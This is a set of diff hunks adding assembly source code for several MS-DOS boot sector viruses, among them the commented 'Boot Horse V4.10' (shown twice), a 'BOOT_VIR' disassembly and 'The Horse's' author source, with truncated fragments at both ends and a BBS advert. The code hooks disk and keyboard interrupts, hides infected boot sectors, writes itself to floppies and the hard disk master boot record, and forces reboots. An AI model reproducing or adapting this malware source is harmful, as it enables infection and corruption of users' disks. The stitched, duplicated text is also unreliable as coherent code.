mov [7FC9],ax
mov [7FCBh],bx
n_0001DE:
ret
push ds
push ax
push bx
push cx
push dx
push cs
pop ds
mov ah,0F ;Get video mode
int 10
mov bl,al
cmp bx,[7FD4]
je n_000227
mov [7FD4],bx
dec ah
mov byte ptr [7FD6],ah
mov ah,1
cmp bl,7
jne n_000205
dec ah
n_000205:
cmp bl,4
jnb n_00020C
dec ah
n_00020C:
mov byte ptr [7FD3],ah
mov word ptr [7FCF],101
mov word ptr [7FD1],101
mov ah,3 ;Read cursor position
int 10
push dx
mov dx,[7FCF]
jmp short n_00024A
n_000227:
mov ah,3 ;Read cursor position
int 10
push dx
mov ah,2 ;Set cursor position
mov dx,[7FCF]
int 10
mov ax,[7FCDh]
cmp byte ptr [7FD3],1
jne n_000241
mov ax,8307
n_000241:
mov bl,ah
mov cx,1
mov ah,9 ;Write character with attribute
int 10
n_00024A:
mov cx,[7FD1]
cmp dh,0
jne n_000258
xor ch,0FF
inc ch
n_000258:
cmp dh,18
jne n_000262
xor ch,0FF
inc ch
n_000262:
cmp dl,0
jne n_00026C
xor cl,0FF
inc cl
n_00026C:
cmp dl,byte ptr [7FD6]
jne n_000277
xor cl,0FF
inc cl
n_000277:
cmp cx,[7FD1]
jne n_000294
mov ax,[7FCDh]
and al,7
cmp al,3
jne n_00028B
xor ch,0FF
inc ch
n_00028B:
cmp al,5
jne n_000294
xor cl,0FF
inc cl
n_000294:
add dl,cl
add dh,ch
mov [7FD1],cx
mov [7FCF],dx
mov ah,2 ;Set cursor position
int 10
mov ah,8 ;Read character with attribute
int 10
mov [7FCDh],ax
mov bl,ah
cmp byte ptr [7FD3],1
jne n_0002B6
mov bl,83
n_0002B6:
mov cx,1
mov ax,907 ;Write character '\7' with attribute
int 10
pop dx
mov ah,2 ;Set cursor position
int 10
pop dx
pop cx
pop bx
pop ax
pop ds
jmp far ptr f_000020
add byte ptr [bx+si],al
add word ptr [bx+di],ax
add word ptr [bx+di],ax
add bh,bh
call word ptr [bx+si-49]
mov bh,0B7
mov dh,40
inc ax
mov dh,bl
out 5A,al
lodsb
shl ah,cl
jmp far ptr f_0F05E6
db '@d\`R@@@@db^b`'
pop si
jo n_000368
inc ax
inc cx
mov bh,0B7
mov bh,0B6
jmp n_000336
db 'IBM 3.3'
dw 200
db 2
dw 1
db 2
dw 70
dw 2D0
db 0FDh
dw 2
dw 9
dw 2
dw 0
db 0011h dup (000h)
adc al,byte ptr [bx][si]
add byte ptr [bx][si],al
add byte ptr [bx][di],al
add dl,bh
boot2:
xor ax,ax
mov ss,ax
mov sp,7C00
push ss
pop es
mov bx,78
lds si,ss:[bx]
push ds
push si
push ss
push bx
mov di,7C2Bh
mov cx,0Bh
cld
n_000351:
lodsb
cmp byte ptr es:[di],0
je n_00035B
mov al,byte ptr es:[di]
n_00035B:
stosb
mov al,ah
loop n_000351
push es
pop ds
mov [bx+2],ax
mov [bx],7C2Bh
sti
int 13
jc n_0003D5
mov al,byte ptr [7C10]
cbw
mul word ptr [7C16]
add ax,[7C1C]
add ax,[7C0E]
mov [7C3F],ax
mov [7C37],ax
mov ax,20
mul word ptr [7C11]
mov bx,[7C0Bh]
add ax,bx
dec ax
div bx
add [7C37],ax
mov bx,500
mov ax,[7C3F]
call n_000440
mov ax,201
call n_00045A
jb n_0003C2
mov di,bx
mov cx,0Bh
mov si,7DD6
rep cmpsb
jne n_0003C2
lea di,[bx+20]
mov si,7DE1
mov cx,0Bh
rep cmpsb
je n_0003DA
n_0003C2:
mov si,7D77
n_0003C5:
call n_000432
xor ah,ah
int 16
pop si
pop ds
pop [si]
pop [si+2]
int 19
n_0003D5:
mov si,7DC0
jmp n_0003C5
n_0003DA:
mov ax,[51C]
xor dx,dx
div word ptr [7C0Bh]
inc al
mov [7C3C],al
mov ax,[7C37]
mov [7C3Dh],ax
mov bx,700
n_0003F1:
mov ax,[7C37]
call n_000440
mov ax,[7C18]
sub al,[7C3Bh]
inc ax
cmp [7C3C],al
jnb n_000408
mov al,[7C3Ch]
n_000408:
push ax
call n_00045A
pop ax
jb n_0003D5
sub [7C3C],al
je n_000421
add [7C37],ax
mul word ptr [7C0Bh]
add bx,ax
jmp n_0003F1
n_000421:
mov ch,[7C15]
mov dl,[7DFDh]
mov bx,[7C3Dh]
jmp far ptr f_000700
n_000432:
lodsb
or al,al
je n_000459
mov ah,0E ;Write character in TTY graphics mode
mov bx,7
int 10
jmp n_000432
n_000440:
xor dx,dx
div word ptr [7C18]
inc dl
mov [7C3Bh],dl
xor dx,dx
div word ptr [7C1A]
mov [7C2A],dl
mov [7C39],ax
n_000459:
ret
n_00045A:
mov ah,2
mov dx,[7C39]
mov cl,6
shl dh,cl
or dh,[7C3Bh]
mov cx,dx
xchg ch,cl
mov dl,[7DFDh]
mov dh,[7C2A]
int 13
ret
db 0Dh,0A,'Non-System disk or disk error',0Dh,0A
db 'Replace and strike any key when ready',0Dh,0A,0
db 0Dh,0A,'Disk Boot failure',0Dh,0A,0
db 'IBMBIO SYS'
db 'IBMDOS SYS'
db 12 dup (0)
dw 0AA55
extrn f_000020:far,n_000336:near,n_000368:near
extrn n_FFFF9D:near,n_FFFF98:near
extrn f_000700:far,f_0F05E6:far,f_3FFF98:far
extrn f_3FFF9D:far

@@ -0,0 +1,257 @@
.radix 16
;******************************************
; *
; Code masters LTD. presents: *
; THE BOOT HORSE V4.10 *
; Finished on the 25.04.1991. *
; This is a boot virus,which does not *
; "cuts" memory.It places itself into the *
; second part of the interrupt table.If *
; it is resident you will not be able to *
; see the infected boot sector.If you *
; press CTRL-ALT-DEL & INT 13h had not *
; been changed,drive A: will be infected. *
; It shows you the message 'Brr...!' with *
; possibility 1/16. *
; Good luck! *
;******************************************
Start:
cld ;clear direction
xor ax,ax ;clear ax
mov bp,7c00 ;bp=7c00
mov ds,ax ;ds=ax=0
mov ss,ax ;ss=ax=0
mov sp,bp ;sp=bp=7c00
push ax ;save abs. addr. 0000:7c00 in stack for retf
push bp ;
xor di,di ;clear di
les bx,[di+9*4] ;load es:bx with current int 09h
mov word ptr [bp+old9h-Start],bx ;save it in a variable
mov word ptr [bp+old9h-Start+2],es
les bx,[di+13*4] ;load es:bx with current int 13h
mov word ptr [bp+old13h-Start],bx ;save it in a variable
mov word ptr [bp+old13h-Start+2],es
mov ax,0020 ;ax=20
mov [di+9*4],offset int9h-Start ;set int 09h
mov [di+9*4+2],ax
mov [di+13*4],offset int13h-Start ;set int 13h
mov [di+13*4+2],ax
mov es,ax ;es=ax=20
mov cx,0200 ;will move 512 bytes
mov si,bp ;si=bp=7c00
rep movsb ;move to 0020:0000 (vectors)
push es ;save es&ax for retf
mov ax,offset here-Start
push ax
retf ;go to 0020:here-Start
here:
test byte ptr [046C],0F ;show a message with possibility 1/16
jnz dont
mov si,offset msg-Start ;si point the message
mov cx,endmsg-msg ;strings to show
show_it:
db 26 ;ES:lodsb
lodsb ;load next char
mov ah,0e ;show char
xor bh,bh
int 10 ;do it
loop show_it ;show next
dont:
xor ah,ah ;initialize
int 13
mov es,cx ;es=cx=0
xchg ax,di
inc ax ;ax=201 =>read one sector.
mov bx,bp ;bx=bp=7c00
inc cx ;sector 1,cylinder 0.boot sector
mov dx,0080 ;dx=0080
cmp byte ptr cs:[ident-Start],dl ;if equal=>loading from hdd
je hard
push dx ;save dx
xor dl,dl ;drive A:
push ax ;save ax
int 13 ;read old bootsector from diskette
pop ax ;restore ax=201,read one sector
pop dx ;drive C:
mov bx,0600 ;bx=600
call ojoj ;read hdd's boot sector
jc goout ;no hdd installed
call check ;infected?
je goout ;yes ->out!
mov ax,0301 ;write one sector (save old)
push ax ;save ax
mov cx,0004 ;sector 4,cylinder 0
int 13 ;do it
mov byte ptr cs:[ident-Start],dl ;set identificator
push cs ;es=cs
pop es
mov si,07BE ;
mov di,01BE ; copy old partition
mov cx,64d ;
rep movsb ;
pop ax ;Write one sector,ax=301
xor bx,bx ;from addr ES:BX,bx=0 =>write virus
inc cx ;sector 1,cylinder 0.Boot sector.
hard:
int 13 ;do it
goout:
mov byte ptr cs:[ident-Start],0 ;set ident
retf ;go to 0000:7c00
int13h:
;save ax,ds
push ax
push ds
cmp ah,02 ;function read?
jne skip
cmp dl,80 ;drive A,B or C?
ja skip
cmp cx,0001 ;
jne notboot ;gonna read bootsector?
or dh,dh ;
jnz notboot ;
pop ds ;restore ax,ds
pop ax
call ojoj ;execute the task
jc all ;if error then no sence
pushf ;save some registers
push ax
push cx
push dx
call check ;infected?
jne notnow
mov ax,0201
inc cx ;if so then make some tricks
inc cx ;sector 3,cylinder 0
inc dh ;side 1
test dl,80 ;hdd?
je dolie ;if not then
inc cx ;sector 4,cylinder 0
dec dh ;side 0
dolie:
call ojoj ;read boot
notnow:
pop dx ;restore registers
pop cx
pop ax
popf
all:
; retf 0002 ;return to caller
db 0ca,2,0
notboot:
test dl,80 ;drive=C?
jne skip ;if so =>out!
xor ax,ax ;clear ax
mov ds,ax ;ds=ax=0
mov al,byte ptr [043F] ;this byte shows whether the motor is active
push dx ;save dx
inc dl ;adjust dl
test al,dl ;check if the motor is active.
pop dx ;restore dx
jnz skip ;if so =>leave
call infect ;infect it
skip:
pop ds ;restore flags,ax,ds
pop ax
do:
db 0EAh ;go to the original int 13h
old13h dd 000h ;JMP XXXX:XXXX
infect:
push bx ;save some registers
push cx
push dx
push es
mov ax,0201 ;will read 1 sector
mov cx,0001 ;sector 1,cylinder 0
xor dh,dh ;side 0
call ojoj ;do it
jc leave ;on error...
mov byte ptr cs:[count-Start],36d ;load counter
call check ;infected?
je leave ;leave if so.
mov ax,0301 ;write one sector
inc cx ;sector 3,cylinder 0
inc cx
inc dh ;side 1
push ax ;save ax
call ojoj ;do write (save old bootsector)
pop ax ;restore ax
jc leave ;write protected
push cs ;es=cs
pop es
xor bx,bx ;write virus
dec cx ;make cx=1
dec cx ;sector 1,cylinder 0
dec dh ;side 0
call ojoj ;that's it!
leave:
pop es ;restore registers
pop dx
pop cx
pop bx
ret ;return
ojoj:
pushf ;this calles the original int 13h
push cs
call do
ret
check:
cmp es:[bx],31FCh ;this checks the first 2 bytes
ret ;to understand if the disk is infected
int9h:
push ax ;the keybord interrupt.save AX
mov ah,02 ;check if ctrl-alt is pressed
int 16 ;
test al,00001100b ;if not =>exit
jz exit
in al,60 ;is del pressed?
cmp al,53
je cont ;if so...
exit:
pop ax ;restore ax
db 0EAh ;go to the old int 09h
old9h dd 000h ;JMP XXXX:XXXX
cont:
mov al,20 ;free interrupts
out 20,al ;do it
mov ax,0003 ;clear screen
int 10 ;do it
mov dx,03D8 ;chose video port
mov al,04 ;video flag
out dx,al ;no video
mov ax,0060 ;es=60
mov es,ax ;
xor bx,bx ;drive A
xor dl,dl ;bx=0
mov ds,bx ;dx=bx=0
mov byte ptr cs:[count-Start],18d ;load counter to 1 sec.
cli ;set int 1ch
mov [bx+1c*4],offset int1ch-Start
mov [bx+1c*4+2],cs
sti
cmp [bx+13*4],offset int13h-Start ;is int 13h changed?
jne reset ;if so reset computer
call infect ;infect disk in drive A
reset:
xor bx,bx
mov ds,bx ;don't count memory !
mov [bx+0472],1234
; JMP FFFF:0000 ;Reset
db 0ea,00,00,0ff,0ff
int1ch:
dec byte ptr cs:[count-Start] ;decrease counter
jz reset ;if zero then reset
iret ;otherwise continue
msg db 'Brr...!',7,0a,0dh, ;message
endmsg label word
ident db 0 ;0 for fdd,80 for hdd
count label byte
partition db 64d dup (?)
bootident dw 0AA55
endcode label word

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
;ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
@@ -0,0 +1,315 @@
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ BOOT_VIR ÛÛ
;ÛÛ ÛÛ
;ÛÛ Created: 9-Jul-93 Comments by Mike M. ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
Int60_Offset equ 180h
Int60_Segment equ 182h
main_ram_size_ equ 413h
d_0000_07B4_e equ 7B4h ;*
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 0
boot_vir proc far
start:
nop
nop
nop
cli
xor ax,ax
mov ds,ax
mov ss,ax
mov sp,7C00h
mov si,sp
sti
mov ax,ds:main_ram_size_
dec ax
mov ds:main_ram_size_,ax
mov cl,6
shl ax,cl
push ax
mov es,ax
mov cx,200h
xor di,di
rep movsb
mov ax,2Eh
push ax
retf
SectorNum db 2 ; Location
Cylinder db 27h ; of original
Drive db 0 ; boot sector
Side db 0 ; on infected disk
boot_vir endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
main proc near
mov ax,word ptr ds:[4Ch]
mov word ptr ds:[180h],ax
mov ax,word ptr ds:[4Eh]
mov word ptr ds:[182h],ax
cli
mov ax,78h
mov word ptr ds:[4Ch],ax
mov word ptr ds:[4Eh],es
mov word ptr ds:[188h],ax
mov word ptr ds:[18Ah],es
mov byte ptr ds:[187h],0EAh
sti
push ds
push cs
pop ds
mov cx,word ptr SectorNum
mov dx,word ptr Drive
cmp Drive,0
jne loc_006D
push dx
push cx
xor bx,bx
call sub_019F
pop cx
pop dx
loc_006D:
mov ax,201h
pop es
mov bx,sp
push es
push bx
int 60h ; original Int 13h
retf
main endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
In13_Handler proc near
cmp ah,2
jne loc_00B9
cmp dl,80h
jae loc_008A
cmp ch,1
ja loc_008A
call sub_00CF
loc_008A:
cmp cx,1
jne loc_00CA
cmp dh,0
jne loc_00CA
int 60h ; original Int 13h
jnc loc_009B
loc_ret_0098:
retf 2
loc_009B:
cmp word ptr es:[bx],9090h
jne loc_ret_0098
push dx
push cx
push ax
pushf
mov ax,201h
mov cx,es:[bx+2Ah]
mov dx,es:[bx+2Ch]
int 60h ; original Int 13h
popf
pop ax
pop cx
pop dx
jmp short loc_ret_0098
loc_00B9:
cmp ah,3
jne loc_00CA
cmp al,2
jb loc_00CA
cmp dl,80h
jae loc_00CA
call sub_0140
loc_00CA:
int 60h ; original Int 13h
retf 2
In13_Handler endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_00CF proc near
push es
push ax
push bx
push cx
push dx
mov al,1
mov cx,1
mov dh,0
int 60h ; original Int 13h
jc loc_011D
cmp word ptr es:[bx],9090h
je loc_011D
mov ax,es:[bx+13h]
push dx
xor dx,dx
div word ptr es:[bx+18h]
shr ax,1
dec al
pop dx
mov dh,0
mov cl,2
mov ch,al
mov ax,301h
int 60h ; original Int 13h
jc loc_011D
mov cs:Cylinder,ch
mov word ptr cs:Drive,0
xor bx,bx
push cs
pop es
mov ax,301h
mov cx,1
mov dh,0
int 60h ; original Int 13h
loc_011D:
call sub_0126
pop dx
pop cx
pop bx
pop ax
pop es
retn
sub_00CF endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_0126 proc near
push ds
xor bx,bx
mov ds,bx
mov bx,d_0000_07B4_e
cmp word ptr [bx],78h
jne loc_013E
cli
mov word ptr [bx],1187h
mov word ptr [bx+2],0FF00h
sti
loc_013E:
pop ds
retn
sub_0126 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_0140 proc near
cmp byte ptr es:[bx],0E9h
jne loc_ret_016B
cmp word ptr es:[bx+1],5000h
jb loc_ret_016B
push ds
push si
push di
push cx
mov di,bx
push cs
pop ds
xor si,si
mov cx,200h
rep movsb
mov byte ptr es:[bx],0E9h
mov word ptr es:[bx+1],169h
pop cx
pop di
pop si
pop ds
loc_ret_016B:
retn
sub_0140 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_016C proc near
call sub_016F
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_016F:
pop bx
push cs
pop es
sub bx,16Fh
mov byte ptr cs:[bx],90h
mov word ptr cs:[bx+1],9090h
xor ax,ax
mov ds,ax
cmp word ptr ds:d_0000_07B4_e,1187h
je loc_019B
les di,dword ptr ds:d_0000_07B4_e
mov ds:Int60_Offset,di
mov ds:Int60_Segment,es
call sub_019F
loc_019B:
mov ah,4Ch
int 21h
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_019F:
mov ax,201h
push bx
push ax
mov cx,1
mov dx,80h
add bx,200h
int 60h ; original Int 13h
pop ax
jc loc_01D4
cmp word ptr es:[bx],9090h
je loc_01D4
inc ah
push ax
inc cl
int 60h ; original Int 13h
pop ax
jc loc_01D4
pop bx
mov byte ptr es:[bx+2Ch],80h
mov byte ptr es:[bx+2Bh],0
dec cl
int 60h ; original Int 13h
retn
loc_01D4:
pop bx
retn
sub_016C endp
db 40 dup (90h)
db 55h,0AAh
seg_a ends
end start
@@ -0,0 +1,217 @@
;
; The Horse's boot sector virus
; This is an author's source
;
.radix 16
begin:
jmp start
my label word
db 'IBM 3.3'
dw 200
db 2
dw 1
db 2
dw 70
dw 2d0
db 0fdh
dw 2
dw 9
dw 2
dw 0
lee label word
virlen equ offset endcode-begin
start:
cld
sub ax,ax
mov ds,ax
mov bp,7c00
cli
mov ss,ax
mov sp,bp
sti
push ax
push bp
mov ax,[413]
push [13*4+2]
push [13*4]
pop word ptr [old13h+7c00-100]
pop word ptr [old13h+7c00-100+2]
dec ax
mov [413],ax
mov cl,6
shl ax,cl
mov es,ax
mov [13*4],offset int13h-100
mov [13*4+2],es
mov cx,virlen
sub di,di
mov si,bp
rep movsb
push es
mov ax,offset here-begin
push ax
retf
here:
sub ax,ax
mov es,ax
int 13
mov ax,0201
mov bx,bp
cmp byte ptr cs:[ident-100],0fdh
je from_disk
mov cx,0007
mov dx,0080
int 13
jmp exit
from_disk:
mov cx,2709
mov dx,0100
int 13
jc exit
push cs
push cs
pop es
pop ds
mov ax,0201
mov bx,0200
mov cx,0001
mov dx,0080
int 13
jc exit
call inf?
je exit
mov byte ptr [ident-100],0f8
mov ax,0301
mov bx,0200
mov cx,0007
mov dx,0080
int 13
jc exit
call move
mov ax,0301
sub bx,bx
mov cx,0001
int 13
exit:
mov byte ptr cs:[ident-100],0fdh
retf
int13h:
push ds
push ax
cmp dl,1
ja skip
cmp ah,2
jb skip
cmp ah,3
ja skip
sub ax,ax
mov ds,ax
mov al,[43f]
push dx
and ax,3
and dx,3
inc dl
test al,dl
pop dx
jne skip
call infect
skip:
pop ax
pop ds
do:
jmp dword ptr cs:[old13h-100]
infected?:
sub ax,ax
call ojoj
mov ax,0201
mov bx,0200
mov cx,0001
sub dh,dh
call ojoj
inf?:
mov si,offset start-100
mov di,offset start-100+200
mov cx,mbyte-start
rep cmpsb
return:
ret
infect:
push bx
push cx
push dx
push si
push di
push es
push cs
push cs
pop es
pop ds
cld
call infected?
je leave
mov ax,0301
mov bx,0200
mov cx,2709
mov dh,1
call ojoj
jc leave
call move
mov ax,0301
sub bx,bx
mov cx,0001
sub dh,dh
call ojoj
leave:
pop es
pop di
pop si
pop dx
pop cx
pop bx
ret
ojoj:
pushf
push cs
call do
ret
move:
mov di,offset my-100
mov si,offset my-100+200
mov cx,lee-my
rep movsb
mov di,offset usm-100
mov si,offset usm-100+200
mov cx,endcode-usm
rep movsb
ret
mbyte label word
old13h dd ?
ident db 0fdh
usm label word
db 135d dup (?)
db 55,0AA
endcode label word

@@ -0,0 +1,252 @@
.radix 16
;******************************************
; *
; Code masters LTD. presents: *
; THE BOOT HORSE V4.10 *
; Finished on the 25.04.1991. *
; This is a boot virus,which does not *
; "cuts" memory.It places itself into the *
; second part of the interrupt table.If *
; it is resident you will not be able to *
; see the infected boot sector.If you *
; press CTRL-ALT-DEL & INT 13h had not *
; been changed,drive A: will be infected. *
; It shows you the message 'Brr...!' with *
; possibility 1/16. *
; Good luck! *
;******************************************
Start:
cld ;clear direction
xor ax,ax ;clear ax
mov bp,7c00 ;bp=7c00
mov ds,ax ;ds=ax=0
mov ss,ax ;ss=ax=0
mov sp,bp ;sp=bp=7c00
push ax ;save abs. addr. 0000:7c00 in stack for retf
push bp ;
xor di,di ;clear di
les bx,[di+9*4] ;load es:bx with current int 09h
mov word ptr [bp+old9h-Start],bx ;save it in a variable
mov word ptr [bp+old9h-Start+2],es
les bx,[di+13*4] ;load es:bx with current int 13h
mov word ptr [bp+old13h-Start],bx ;save it in a variable
mov word ptr [bp+old13h-Start+2],es
mov ax,0020 ;ax=20
mov [di+9*4],offset int9h-Start ;set int 09h
mov [di+9*4+2],ax
mov [di+13*4],offset int13h-Start ;set int 13h
mov [di+13*4+2],ax
mov es,ax ;es=ax=20
mov cx,0200 ;will move 512 bytes
mov si,bp ;si=bp=7c00
rep movsb ;move to 0020:0000 (vectors)
push es ;save es&ax for retf
mov ax,offset here-Start
push ax
retf ;go to 0020:here-Start
here:
test byte ptr [046C],0F ;show a message with possibility 1/16
jnz dont
mov si,offset msg-Start ;si point the message
mov cx,endmsg-msg ;strings to show
show_it:
db 26 ;ES:lodsb
lodsb ;load next char
mov ah,0e ;show char
xor bh,bh
int 10 ;do it
loop show_it ;show next
dont:
xor ah,ah ;initialize
int 13
mov es,cx ;es=cx=0
xchg ax,di
inc ax ;ax=201 =>read one sector.
mov bx,bp ;bx=bp=7c00
inc cx ;sector 1,cylinder 0.boot sector
mov dx,0080 ;dx=0080
cmp byte ptr cs:[ident-Start],dl ;if equal=>loading from hdd
je hard
push dx ;save dx
xor dl,dl ;drive A:
push ax ;save ax
int 13 ;read old bootsector from diskette
pop ax ;restore ax=201,read one sector
pop dx ;drive C:
mov bx,0600 ;bx=600
call ojoj ;read hdd's boot sector
jc goout ;no hdd installed
call check ;infected?
je goout ;yes ->out!
mov ax,0301 ;write one sector (save old)
push ax ;save ax
mov cx,0004 ;sector 4,cylinder 0
int 13 ;do it
mov byte ptr cs:[ident-Start],dl ;set identificator
push cs ;es=cs
pop es
mov si,07BE ;
mov di,01BE ; copy old partition
mov cx,64d ;
rep movsb ;
pop ax ;Write one sector,ax=301
xor bx,bx ;from addr ES:BX,bx=0 =>write virus
inc cx ;sector 1,cylinder 0.Boot sector.
hard:
int 13 ;do it
goout:
mov byte ptr cs:[ident-Start],0 ;set ident
retf ;go to 0000:7c00
int13h:
;save ax,ds
push ax
push ds
cmp ah,02 ;function read?
jne skip
cmp dl,80 ;drive A,B or C?
ja skip
cmp cx,0001 ;
jne notboot ;gonna read bootsector?
or dh,dh ;
jnz notboot ;
pop ds ;restore ax,ds
pop ax
call ojoj ;execute the task
jc all ;if error then no sence
pushf ;save some registers
push ax
push cx
push dx
call check ;infected?
jne notnow
mov ax,0201
inc cx ;if so then make some tricks
inc cx ;sector 3,cylinder 0
inc dh ;side 1
test dl,80 ;hdd?
je dolie ;if not then
inc cx ;sector 4,cylinder 0
dec dh ;side 0
dolie:
call ojoj ;read boot
notnow:
pop dx ;restore registers
pop cx
pop ax
popf
all:
; retf 0002 ;return to caller
db 0ca,2,0
notboot:
test dl,80 ;drive=C?
jne skip ;if so =>out!
xor ax,ax ;clear ax
mov ds,ax ;ds=ax=0
mov al,byte ptr [043F] ;this byte shows whether the motor is active
push dx ;save dx
inc dl ;adjust dl
test al,dl ;check if the motor is active.
pop dx ;restore dx
jnz skip ;if so =>leave
call infect ;infect it
skip:
pop ds ;restore flags,ax,ds
pop ax
do:
db 0EAh ;go to the original int 13h
old13h dd 000h ;JMP XXXX:XXXX
infect:
push bx ;save some registers
push cx
push dx
push es
mov ax,0201 ;will read 1 sector
mov cx,0001 ;sector 1,cylinder 0
xor dh,dh ;side 0
call ojoj ;do it
jc leave ;on error...
mov byte ptr cs:[count-Start],36d ;load counter
call check ;infected?
je leave ;leave if so.
mov ax,0301 ;write one sector
inc cx ;sector 3,cylinder 0
inc cx
inc dh ;side 1
push ax ;save ax
call ojoj ;do write (save old bootsector)
pop ax ;restore ax
jc leave ;write protected
push cs ;es=cs
pop es
xor bx,bx ;write virus
dec cx ;make cx=1
dec cx ;sector 1,cylinder 0
dec dh ;side 0
call ojoj ;that's it!
leave:
pop es ;restore registers
pop dx
pop cx
pop bx
ret ;return
ojoj:
pushf ;this calles the original int 13h
push cs
call do
ret
check:
cmp es:[bx],31FCh ;this checks the first 2 bytes
ret ;to understand if the disk is infected
int9h:
push ax ;the keybord interrupt.save AX
mov ah,02 ;check if ctrl-alt is pressed
int 16 ;
test al,00001100b ;if not =>exit
jz exit
in al,60 ;is del pressed?
cmp al,53
je cont ;if so...
exit:
pop ax ;restore ax
db 0EAh ;go to the old int 09h
old9h dd 000h ;JMP XXXX:XXXX
cont:
mov al,20 ;free interrupts
out 20,al ;do it
mov ax,0003 ;clear screen
int 10 ;do it
mov dx,03D8 ;chose video port
mov al,04 ;video flag
out dx,al ;no video
mov ax,0060 ;es=60
mov es,ax ;
xor bx,bx ;drive A
xor dl,dl ;bx=0
mov ds,bx ;dx=bx=0
mov byte ptr cs:[count-Start],18d ;load counter to 1 sec.
cli ;set int 1ch
mov [bx+1c*4],offset int1ch-Start
mov [bx+1c*4+2],cs
sti
cmp [bx+13*4],offset int13h-Start ;is int 13h changed?
jne reset ;if so reset computer
call infect ;infect disk in drive A
reset:
xor bx,bx
mov ds,bx ;don't count memory !
mov [bx+0472],1234
; JMP FFFF:0000 ;Reset
db 0ea,00,00,0ff,0ff
int1ch:
dec byte ptr cs:[count-Start] ;decrease counter
jz reset ;if zero then reset
iret ;otherwise continue
msg db 'Brr...!',7,0a,0dh, ;message
endmsg label word
ident db 0 ;0 for fdd,80 for hdd
count label byte
partition db 64d dup (?)
bootident dw 0AA55
endcode label word

@@ -0,0 +1,434 @@
.radix 16
start:
jmp begin
db 'IBM 3.3'
dw 200
db 2
dw 1
db 2
dw 70
dw 2D0
db 0FDh
dw 2
dw 9
dw 2
dw 0
work dd ?
count db ?
drive db ?
Fat_sec dw ?
old_boot dw 666d
flag db ?
sys_sec dw ?
;Simulate PUSHA
pusha:
